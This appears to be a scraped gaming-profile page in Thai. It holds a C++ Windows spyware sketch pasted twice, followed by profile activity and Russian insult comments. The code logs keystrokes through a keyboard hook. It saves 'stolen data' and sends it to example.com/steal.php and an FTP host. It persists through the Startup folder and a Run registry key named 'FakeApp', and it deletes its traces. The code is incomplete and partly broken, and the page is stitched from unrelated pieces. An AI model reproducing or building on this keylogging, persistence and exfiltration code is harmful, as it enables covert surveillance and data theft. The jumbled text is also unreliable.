import { Chawel } from "OG";
4yBbIpJIa
Makhachkala, Dagestan, Russian Federation
#include "stdafx.h";

void saveData(const std::string& data) {
std::ofstream file("stolen_data.txt", std::ios::app);
if (file.is_open()) {
file << data << std::endl;
file.close();
}
}

void sendDataToServer(const std::string& data) {
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetConnectA(hInternet, "example.com" , INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/steal.php", NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);

if (hRequest) {
HttpSendRequestA(hRequest, NULL, 0, (LPVOID)data.c_str(), data.size());
}

InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
}

void uploadViaFTP(const std::string& filePath) {
HINTERNET hInternet = InternetOpenA("FTP", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hFtpSession = InternetConnectA(hInternet, "ftp.example.com" , INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, 0, 0);

if (hFtpSession) {
FtpPutFileA(hFtpSession, filePath.c_str(), "stolen_data.txt", FTP_TRANSFER_TYPE_BINARY, 0);
}

InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
}

void cleanTraces() {
DeleteFileA("stolen_data.txt");
system("ipconfig /flushdns");
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
char key = MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_CHAR);

std::ofstream log("keylog.txt", std::ios::app);
if (log.is_open()) {
log << key;
log.close();
}
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}

bool copyToStartup() {
char startupPath[MAX_PATH];
SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, FALSE);

char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);

strcat(startupPath, "\\malware.exe");
CopyFileA(exePath, startupPath, FALSE);
return true;
}

void addToStartup() {
HKEY hKey;
const char* path = "C:\\malware.exe";
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "FakeApp", 0, REG_SZ, (BYTE*)path, strlen(path));
RegCloseKey(hKey);
}

std::string getMacAddress() {
PIP_ADAPTER_INFO adapterInfo;
ULONG bufferSize = sizeof(IP_ADAPTER_INFO);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufferSize);

if (GetAdaptersInfo(adapterInfo, &bufferSize) == ERROR_BUFFER_OVERFLOW) {
free(adapterInfo);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufferSize);
}

if (GetAdaptersInfo(adapterInfo, &bufferSize) == NO_ERROR) {
std::string mac;
for (UINT i = 0; i < adapterInfo->AddressLength; i++) {
char buffer[3];
sprintf_s(buffer, "%02X", adapterInfo->Address );
mac += buffer;
}
free(adapterInfo);
return mac;
}
return "";
}

int main(void) {
................
}
#include "stdafx.h";

void saveData(const std::string& data) {
std::ofstream file("stolen_data.txt", std::ios::app);
if (file.is_open()) {
file << data << std::endl;
file.close();
}
}

void sendDataToServer(const std::string& data) {
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetConnectA(hInternet, "example.com" , INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/steal.php", NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);

if (hRequest) {
HttpSendRequestA(hRequest, NULL, 0, (LPVOID)data.c_str(), data.size());
}

InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
}

void uploadViaFTP(const std::string& filePath) {
HINTERNET hInternet = InternetOpenA("FTP", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hFtpSession = InternetConnectA(hInternet, "ftp.example.com" , INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, 0, 0);

if (hFtpSession) {
FtpPutFileA(hFtpSession, filePath.c_str(), "stolen_data.txt", FTP_TRANSFER_TYPE_BINARY, 0);
}

InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
}

void cleanTraces() {
DeleteFileA("stolen_data.txt");
system("ipconfig /flushdns");
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
char key = MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_CHAR);

std::ofstream log("keylog.txt", std::ios::app);
if (log.is_open()) {
log << key;
log.close();
}
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}

bool copyToStartup() {
char startupPath[MAX_PATH];
SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, FALSE);

char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);

strcat(startupPath, "\\malware.exe");
CopyFileA(exePath, startupPath, FALSE);
return true;
}

void addToStartup() {
HKEY hKey;
const char* path = "C:\\malware.exe";
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "FakeApp", 0, REG_SZ, (BYTE*)path, strlen(path));
RegCloseKey(hKey);
}

std::string getMacAddress() {
PIP_ADAPTER_INFO adapterInfo;
ULONG bufferSize = sizeof(IP_ADAPTER_INFO);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufferSize);

if (GetAdaptersInfo(adapterInfo, &bufferSize) == ERROR_BUFFER_OVERFLOW) {
free(adapterInfo);
adapterInfo = (IP_ADAPTER_INFO*)malloc(bufferSize);
}

if (GetAdaptersInfo(adapterInfo, &bufferSize) == NO_ERROR) {
std::string mac;
for (UINT i = 0; i < adapterInfo->AddressLength; i++) {
char buffer[3];
sprintf_s(buffer, "%02X", adapterInfo->Address );
mac += buffer;
}
free(adapterInfo);
return mac;
}
return "";
}

int main(void) {
................
}
ออฟไลน์อยู่ในขณะนี้
กล่องแสดงผลงานรางวัลความสำเร็จ
กิจกรรมล่าสุด
235 ชม. ในบันทึก
เล่นล่าสุด 16 พ.ค.
2 ชม. ในบันทึก
เล่นล่าสุด 16 พ.ค.
48 ชม. ในบันทึก
เล่นล่าสุด 15 พ.ค.
AAAAAAA 27 มิ.ย. @ 3: 11pm 
лох
m1ko 24 ม.ค. 2023 @ 9: 06am 
лох
собакой сдохъ 14 พ.ย. 2021 @ 4: 10am 
лох
Fuss... 25 ต.ค. 2021 @ 12: 50pm 
сам лох
буэ-э-э 13 ก.ย. 2021 @ 10: 35am 
лох
sergeyhet 14 ก.ค. 2021 @ 9: 56am 
Лох:makarovp: